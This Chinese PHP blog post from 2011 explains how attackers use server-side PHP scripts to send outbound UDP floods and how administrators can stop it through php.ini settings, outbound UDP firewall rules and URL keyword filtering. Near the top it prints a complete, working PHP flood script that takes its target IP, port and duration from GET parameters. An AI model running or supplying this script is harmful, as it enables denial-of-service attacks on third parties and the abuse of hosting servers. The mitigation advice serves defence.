防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
mysql+php分页类(已测)
Mar 31 PHP
PHP实现微信公众平台音乐点播
Mar 20 PHP
PHP实现根据银行卡号判断银行
Apr 29 PHP
php实现网站文件批量压缩下载功能
Oct 28 PHP
php对文件夹进行相关操作(遍历、计算大小)
Nov 04 PHP
Yii2如何批量添加数据
May 17 PHP
php简单解析mysqli查询结果的方法(2种方法)
Jun 29 PHP
php常用数组函数实例小结
Dec 29 PHP
PHP面相对象中的重载与重写
Feb 13 PHP
PHP实现对数字分隔加千分号的方法
Mar 18 PHP
PHP设计模式之观察者模式定义与用法分析
Apr 04 PHP
gearman管理工具GearmanManager的安装与php使用方法示例
Feb 27 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
php去掉URL网址中带有PHPSESSID的配置方法
2014/07/08 PHP
javascript+php实现根据用户时区显示当地时间的方法
2015/03/11 PHP
PHP+shell实现多线程的方法
2015/07/01 PHP
CI框架常用方法小结
2016/05/17 PHP
根据key删除数组中指定的元素实现方法
2017/03/02 PHP
解决使用attachEvent函数时,this指向被绑定的元素的问题的方法
2007/08/13 Javascript
JavaScript在IE中“意外地调用了方法或属性访问”
2008/11/19 Javascript
IE和Firefox下event事件杂谈
2009/12/18 Javascript
jQuery选择器全集详解
2014/11/24 Javascript
HTML,CSS,JavaScript速查表推荐
2014/12/02 Javascript
JS根据key值获取URL中的参数值及把URL的参数转换成json对象
2015/08/26 Javascript
jquery淡入淡出效果简单实例
2016/01/14 Javascript
Bootstrap嵌入jqGrid,使你的table牛逼起来
2016/05/05 Javascript
jQuery实现鼠标经过购物车出现下拉框代码(推荐)
2016/07/21 Javascript
AngularJS包括详解及示例代码
2016/08/17 Javascript
实现点击下箭头变上箭头来回切换的两种方法【推荐】
2016/12/14 Javascript
vue.js学习之vue-cli定制脚手架详解
2017/07/02 Javascript
详解webpack的proxyTable无效的解决方案
2018/06/15 Javascript
vant(ZanUi)结合async-validator实现表单验证的方法
2018/12/06 Javascript
JavaScript实现横版菜单栏
2020/03/17 Javascript
vue路由结构可设一层方便动态添加路由操作
2020/08/31 Javascript
[02:41]辉夜杯现场一家三口 “我爸玩风行 我玩血魔”
2015/12/27 DOTA
深入理解Python 代码优化详解
2014/10/27 Python
Python实现把回车符\r\n转换成\n
2015/04/23 Python
python函数中return后的语句一定不会执行吗?
2017/07/06 Python
Python字符串中添加、插入特定字符的方法
2019/09/10 Python
pytorch 指定gpu训练与多gpu并行训练示例
2019/12/31 Python
详解Python中@staticmethod和@classmethod区别及使用示例代码
2020/12/14 Python
纯CSS3+DIV实现小三角形边框效果的示例代码
2020/08/03 HTML / CSS
网易微博Web App用HTML5开发的过程介绍
2012/06/13 HTML / CSS
高山背包:High Sierra
2017/11/23 全球购物
聚网科技C++面试笔试题
2015/09/01 面试题
违反纪律检讨书范文
2015/05/07 职场文书
2016五四青年节活动总结范文
2016/04/06 职场文书
Redis可视化客户端小结
2021/06/10 Redis
MySQL分区表管理命令汇总
2022/03/21 MySQL